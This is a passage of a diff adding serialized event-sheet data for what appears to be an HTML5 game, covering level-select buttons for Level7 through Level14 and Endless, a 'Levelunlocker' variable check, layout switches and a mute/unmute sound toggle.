+ ],
+ [
+ 4,
+ 32,
+ null,
+ 781557734938544,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 834893961678571,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 686304359640771,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 537521248608500,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 974036099433923,
+ false,
+ [
+ [
+ 4,
+ 422
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 171263624255365,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 7
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 586758882303271,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 549305450790788,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 891392756984933,
+ false,
+ [
+ [
+ 6,
+ "Level7"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 567067837121259,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 334771106756438,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 550435645702643,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 709914025159948,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 954581291403950,
+ false,
+ [
+ [
+ 4,
+ 423
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 749440274203223,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 8
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 318180564961714,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 877405785654962,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 363085310361136,
+ false,
+ [
+ [
+ 6,
+ "Level8"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 553879539922172,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 741824803843109,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 142565883696661,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 585874967936046,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 938420189736158,
+ false,
+ [
+ [
+ 4,
+ 424
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 940743342703105,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 9
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 892857114683585,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 640974914737029,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 237784675910006,
+ false,
+ [
+ [
+ 6,
+ "Level9"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 874698092073736,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 610926748408728,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 878730676173102,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 168387835151748,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 724231729686621,
+ false,
+ [
+ [
+ 4,
+ 425
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 754567170101801,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 10
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 605610014654145,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 380509989342345,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 501224666014345,
+ false,
+ [
+ [
+ 6,
+ "Level10"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 107081624729581,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 425207844635965,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 841018611577775,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 942398292328031,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 289646965994222,
+ false,
+ [
+ [
+ 4,
+ 424
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 392270531658122,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 9
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 873972853380323,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 482322835038638,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 149912715386757,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 400184319282158,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 983458549469813,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 861115569455984,
+ false,
+ [
+ [
+ 4,
+ 425
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 260887080818050,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 10
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 495464206057946,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 738748297960663,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 533846137171735,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 537085338319419,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 132360973516282,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 445585545125654,
+ false,
+ [
+ [
+ 4,
+ 426
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 908935185031581,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 11
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 438307234500659,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 172690448577484,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 928709713133921,
+ false,
+ [
+ [
+ 6,
+ "Level11"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 435821769577936,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 327071040397803,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 413360778705984,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 995152096052153,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 426998186056357,
+ false,
+ [
+ [
+ 4,
+ 427
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 644996088414528,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 12
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 113404275135631,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 977124639706442,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 858586904448479,
+ false,
+ [
+ [
+ 6,
+ "Level12"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 719896111017550,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 959638108220876,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 746447887051075,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 327742410372943,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 567534703692265,
+ false,
+ [
+ [
+ 4,
+ 428
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 890486735975854,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 13
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 982890072971311,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 313460060478524,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 457970133734306,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 915009714405019,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 404833334986251,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 221751334882464,
+ false,
+ [
+ [
+ 4,
+ 428
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 873447913233249,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 13
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 648107934377160,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 183759384457210,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 219968278750508,
+ false,
+ [
+ [
+ 6,
+ "Level13"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 454282765563177,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 342706443290643,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 805729426329213,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 892643313771791,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 731026554694628,
+ false,
+ [
+ [
+ 4,
+ 429
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 927547836304538,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 14
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 196984963666865,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 721329719683870,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 148532909478431,
+ false
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 461665319093136,
+ false,
+ [
+ [
+ 6,
+ "Level14"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 901787544125136,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 759401292347276,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 336066177773537,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 437809171422875,
+ false,
+ [
+ [
+ 4,
+ 415
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 653641414546457,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 14
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 435330115492442,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 610899369054295,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 242925882591484,
+ false,
+ [
+ [
+ 6,
+ "Endless"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 447163688351767,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 862391405217803,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 832304503016169,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 228057726499193,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 776161420008440,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 991250970290878,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 157595933773228,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 462,
+ 98,
+ null,
+ 572497554559432,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 843410537573893,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 272903665983087,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 423580987804987,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 14
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 228381669308427,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 979986840264955,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 463,
+ 98,
+ null,
+ 746501369566325,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 597266947465494,
+ [
+ [
+ 554,
+ 57,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 596718798491996,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 865034785612005,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -1000
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 804113820676494,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 891564210089188,
+ [
+ [
+ 554,
+ 59,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 708382136674047,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 357895358363089,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 955973266771504,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 684777335018126,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 522703087681780,
+ false,
+ [
+ [
+ 4,
+ 381
+ ]
+ ]
+ ],
+ [
+ 381,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 672725658509040,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 770169270002535,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 445956464865231,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 381,
+ 30,
+ null,
+ 689267266380206,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 987903654655245,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 882503451311270,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 992194124003390,
+ false,
+ [
+ [
+ 2,
+ [
+ "menustemas",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 355151397535414,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 994010378915471,
+ false,
+ [
+ [
+ 4,
+ 381
+ ]
+ ]
+ ],
+ [
+ 381,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 836610470699694,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 110330094880609,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 346251084680688,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 381,
+ 30,
+ null,
+ 731549347231386,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 303424506942278,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 529614362853221,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 324091043748092,
+ false,
+ [
+ [
+ 2,
+ [
+ "menustemas",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 497818714332064,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 744633088534672,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 707418357489121,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 501658255994493,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 381,
+ 30,
+ null,
+ 141973391588470,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 332688731936210,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 813601113032435,
+ false,
